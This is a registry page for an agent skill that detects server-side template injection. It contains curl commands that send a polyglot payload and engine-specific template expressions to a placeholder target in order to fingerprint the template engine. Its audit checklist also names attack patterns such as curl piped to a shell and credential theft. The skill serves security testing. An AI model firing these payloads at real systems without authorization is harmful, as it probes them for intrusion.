ssti-error-based-detection SKILL.md skillA
ssti-error-based-detection from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/ssti-error-based-detection@git:20260529.8f6ea0ePins git:20260529.8f6ea0e in mdr.lock. Pin the fingerprint instead.
- Audit grade
- A, 17 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/ssti-error-based-detection/SKILL.md- Versions recorded
- 2
- Latest version
- git:20260529.8f6ea0e, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 2,233 bytes
- Repository stars
- 22
- License
- MIT
Error-based blind SSTI detection using polyglot payloads and error message differentials to fingerprint template engines. Use when template injection is suspected but output appears blind, or when you need to identify the template engine before escalation.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# SSTI Error-Based Detection
## Pattern
- Template injection suspected but no reflected output observed
- Application renders verbose error messages on invalid input
- Need to identify template engine before escalation
- Time-based blind SSTI too slow or unreliable
## Workflow
### 1. Send polyglot detector
```bash
# Triggers distinct errors per engine
curl -x localhost:8080 -k "https://target.com/endpoint" \
-d 'input=${{<%[%'"}}%\.'
```
**Checkpoint:** Compare error response to a normal request. If error message changes, the input reaches a template engine.
### 2. Fingerprint engine via error type
```bash
# Jinja2 (Python)
curl -s "https://target.com/endpoint" -d "input={{7*'7'}}" | rg -i "UndefinedError|jinja2"
# Twig (PHP)
curl -s "https://target.com/endpoint" -d "input={{7*7}}" | rg -i "Twig_Error|twig"
# Freemarker (Java)
curl -s "https://target.com/endpoint" -d 'input=${7*7}' | rg -i "ParseException|freemarker"
# ERB (Ruby)
curl -s "https://target.com/endpoint" -d 'input=<%= 7*7 %>' | rg -i "SyntaxError|erb"
# Velocity (Java)
curl -s "https://target.com/endpoint" -d 'input=#set($x=7*7)$x' | rg -i "MethodInvocation|velocity"
```
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/ssti-error-based-detection@sha256:cdd0c5e3b12fccb4The line at the top of this page pins the label git:20260529.8f6ea0e, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_rolmktsc477ukuvb)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 2 versions of this file, between May 4, 2026 and May 29, 2026, about one every 25 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.8f6ea0e latest | 2026-05-29 | 8f6ea0e | 2,233 B | A | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 1,595 B | A | view |
Audit of the latest version
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (2233 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_rolmktsc477ukuvb GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/ssti-error-based-detection GET https://markdownregistry.com/api/v1/blob/cdd0c5e3b12fccb4b9754112bb455fe21d41c6f3357d44e236f9d990c981e5bd
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.